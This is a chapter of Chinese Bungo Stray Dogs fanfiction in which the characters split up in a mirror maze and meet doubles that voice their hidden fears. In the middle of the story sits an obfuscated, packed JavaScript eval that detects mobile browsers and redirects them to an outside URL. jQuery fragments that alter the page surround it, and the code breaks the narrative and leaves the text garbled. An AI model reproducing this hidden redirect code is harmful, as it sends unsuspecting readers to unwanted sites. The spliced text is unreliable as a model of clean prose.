太宰治少见的没有直接开口嘲讽中原中也的行动,直到那红光寸寸覆遍周围目之所及所有的镜子,再在重力的压迫下爆裂开来,随后又像幻梦一场般缓缓恢复原初的模样。


    “啧。”


    虽然猜到了有这样的可能,但中原中也还是不自觉的咂了咂舌,转头看向自进来之后就异常低气压的太宰,


    “喂,别干杵在那里不干活,说说你的看法。”


    太宰治这才慢吞吞地抬起眼皮,用那种仿佛对一切都提不起兴致的语调回答:


    “这里有这么多厉害的空间系异能者在场——兰堂先生,还有我们亲爱的首领小姐,你却只来问我这个毫无战斗力的文职人员?”


    他嘴角扯出一个没什么温度的弧度,


    “还真是感谢你的信任呢。这边建议你往前走几步,对着这些镜子说‘你好’,然后期待某个‘自己’能回应你一下——说不定能开辟出新的交流渠道哦。”


    另外两个站在原地的空间系异能力者:


    ……


    兰堂伸出手,使用了自己的异能,红色的方块体在他们的视线内迅速展开扩延,过了十几秒又收了回去:


    “暂时找到了五条分叉路口,目前每个方向都没有阻碍,再远一点的距离我就感知不到了,抱歉,暂时只能做到这一步。”


    而黑羽结衣只是扶着状态稍微好了一点的侦探站在原地,并没有任何动作。


    中原中也突然就意识到了背后的含义:


    “那样的话,找到迷宫的中心恐怕要费不少功夫。”


    “这句话大错特错吧,小矮子。”


    太宰治立刻接话,语气微妙,


    “你怎么就能假定我们所在的这个迷宫,就一定存在所谓的中心?退一万步说,就算真的有这种东西存在,那逃生的钥匙或者说规则,就一定会放在那个中心处,等着我们找到吗?”


    他顿了顿,鸢色的眼眸扫过周围的镜面,


    “另外,我们真的是站在这个迷宫的‘起点’吗?”


    被接连着反驳,中原中也脸上闪过一丝不快,钴蓝色的眼眸瞪向太宰治:


    “好话坏话都叫你说了,你就一点建设性的办法都提不出来吗?”


    “那么——以防万一出现童话故事里常见的‘被镜子中出来的一模一样的人所替代’这样的套路,碰上更令人讨厌的小矮子,来设一个大家都知道答案的问题吧。”


    “那么,要现在就说出来吗?”


    黑羽结衣开口,她警惕地扫过周围的镜面。


    总觉得,看这些镜子久了,镜中自己的倒影似乎产生了一种难以言喻的“陌生感”——同样的眉眼,同样的神情,但在眼睛深处,仿佛有什么东西在悄然改变。


    “你不觉得,在提出问题的时候,镜子……也在看着我们?”


    “也是呢,那么就最简单的一个问题吧,我们几个都知道的答案,”


    太宰治手指间晃动着枪柄,语气漫不经心,


    “比如——各位昨天晚上,都吃了什么?”


    就这样拆散成了四组队伍分别出发。


    兰堂自始至终都坚持要一个人调查,他自称自己是这里目前最成熟的异能力者,一个人的话不会浪费人力资源。只是黑羽结衣内心中又极快掠过一丝难以捕捉的阴霾。


    太宰治和中原中也互相看不惯,让他们待在一个队伍里简直是比破解异常区还难办到的难题。这下有了分头的借口,他们更是求之不得。


    中原中也冷哼一声,随便选了一条岔路就大步流星地走了进去。而太宰治则耸了耸肩,慢悠悠地选了另一条方向完全相反的路,临走前还丢下一句“如果小矮子被镜子里的自己吓哭了,记得大声喊救命哦,虽然我大概率会装作没听见就是了~”


    这下只剩武力值存疑的失忆首领和迷路系数最高的世界第一名侦探留在原地了。


    江户川乱步抬起头,翠绿的眼眸因为晕眩而变得有些水润,他就用那种湿漉漉的眼神望着黑羽结衣,整张脸都皱成了包子:


    “结衣——我好晕——有这些镜子在,我完全分不清东南西北了——”


    黑羽结衣看着他这副模样,忍不住有点想笑,但更多的是心疼。她想了想,忽然开口道:


    “乱步,如果……换一种思路呢?”


    少年眨了眨眼,晕乎乎地看向她。


    “不去把这个地方当作要找路迷宫,”


    黑羽结衣慢慢说道,一边说一边组织着语言,


    “而是把它当作……一个需要我们解除的谜题。我们现在需要的,不是找到正确的路,而是找到‘正确的谜底’。”


    少年愣住了。


    那双翠绿的眼眸里,迷茫迅速消散,取而代之的,是越来越亮、越来越耀眼的兴奋光芒。


    “我知道了!”


    他猛地站直身体,


    “交给我吧!这种时候,就要使用我的异能了——!”


    “异能力,超推理——!”


    虽然异能者并不多见,但她的同伴似乎都是异能者,黑羽结衣想到这里,也就忽略了完全没有异能发动感的微妙之处,并把其归类于异能展现状态的多样化。


    随着江户川乱步那声标志性的宣告,他整个人仿佛被按下了某个开关,刚才的晕眩和不适全都一扫而空。少年翠绿的眼眸穿透了层层叠叠的镜面倒影,似乎直接地望向了这片镜像迷宫的“本质”。


    黑羽结衣安静地站在他身侧,没有出声打扰。


    十几秒后,侦探眨了眨眼,眼中的锐利缓缓收敛,恢复成平日那副慵懒的模样。


    “怎么样?”


    “我们从这条路走,结衣!”


    轮到江户川乱步牵着她的手腕一路向前了,


    “安心,和名侦探走不会有事的!”


    与此同时,另一条岔路深处。


    太宰治双手插在口袋里,慢悠悠地走在镜面通道中,姿态悠闲得仿佛在散步。周围的镜子里,无数个“他”同样悠闲地走着,动作完全同步。


    但他知道,同步只是潜在的表象。


    “跟了这么久,不累吗?”


    他突然停下脚步,头也不回地对着某面镜子说。


    镜中的“太宰治”也停下了,同样头也不回。但其中一个像是信号延迟般,比他慢了零点几秒才停下。


    然后,那面镜子里的“太宰治”,缓缓地转过头来。


    镜外的太宰治也转过身,鸢色的眼眸与镜中那个“自己”四目相对。


    “哦呀。”


    他轻轻笑了,


    “居然真的会有这种东西啊。明明我只是随口一说。”


    镜中的“太宰治”没有开口,但镜面上浮现出一行血红色的字:


    “你觉得‘真实的自己’是丑陋的,永远不会被其他人所接纳,对吗?”


    太宰治看着那行字,笑容未变,眼神却冷了下来。


    “这个问题啊,我不太喜欢呢……”


    他慢条斯理地从口袋里掏出那把银色手枪,枪口抵在自己的太阳穴上,


    “不如我们来做个实验吧?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197515|196321||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    镜中的“他”也举起了枪,动作依然慢了半拍。


    “如果你死了,我会消失吗?”


    “谁知道呢。”


    太宰治语气轻松,


    “但如果不试试看的话——不就太无聊了吗?”


    他的手指搭上了扳机。


    镜中的“他”同样如此。


    下一秒——


    “啧,烦死了!”


    中原中也皱眉,暗红色的重力光芒再次爆发,将周围一圈镜子全部震碎。碎片在空中停滞,然后在重力的操控下,如同无数把锋利的刀刃,对准了那些镜子里倒映出的同样的“自己”。


    但那些“自己”也同样操控着碎片,对准了他。


    僵持。


    直到镜子的碎片再度倒流,恢复了往昔光洁整齐的模样。


    少年钴蓝色的眼眸深处已经是一片怒火:


    “你到底想怎么样?!”


    镜中的“中原中也”只是静静地看着他:


    “你害怕真实的自己吗?”


    镜面上浮现出字迹。


    中原中也愣住了:


    “我怎么可能——”


    “你总是认为你和其他人不同,但又不敢表露出来。”


    “胡说什么!”


    少年本能地反驳,但声音里却有一丝他自己都没察觉到的动摇。


    他确实害怕。


    不是因为镜像,而是因为……他从七年前就没有了记忆。他的“过去”是一片空白。而他知道的那点情报中,隐约指向过一个他完全不想深想的可能性。


    镜中的那个“他”,似乎看懂了他的沉默,嘴角缓缓勾起一个诡异的弧度:


    “证据就是——你不会做梦。”


    中原中也睁大了眼,满是不可置信:


    “你怎么会知道——”


    “也不知道现在其他人的情况如何了。”


    兰堂独自走在寂静的岔路里。


    他没有听到其他人的动静,只是静静地向前走,偶尔用异能探测一下前方,偶尔停下来,对着某面镜子出神。


    他看到了。


    在那层层叠叠的倒影深处,有些画面是他从未见过的,却又莫名地熟悉——黑暗的街角,辉煌的建筑,还有一个男人的背影,那个背影穿着和现在完全不同的衣服,但那轮廓……


    和他一模一样。


    兰堂停下脚步,呼吸变得有些沉重。


    “你想起来了吗?”


    一行字浮现在他面前的镜面上。


    他没有回答。


    “你想知道真相吗?”


    兰堂的手指在身侧微微蜷缩了一下。


    他当然想知道。七年前的空白,失去的记忆,还有最近频繁浮现的那些碎片,调查的内容——他想知道一切。


    “往前走。”


    兰堂沉默了很久。然后,他迈开了脚步。


    “我们只需要一直向前就好。”


    江户川乱步解释道,


    “镜子虽然有着迷惑人视线的功能,但最重要的,是反射出自己的形象。也就是说,本质就是面对自己,尤其是自己不想面对的部分。”


    他们脚步不停,一直向深处走去。按照侦探的说法,这里的一切都是可活动的,所以哪个方向根本没有意义。


    “我可没什么要隐瞒的事情,镜子能照出来的也只是我自己!结衣和我走在一起,它们不会轻易出来的。不过……”


    他犹豫了片刻,


    “大概其他人那里会有点麻烦。”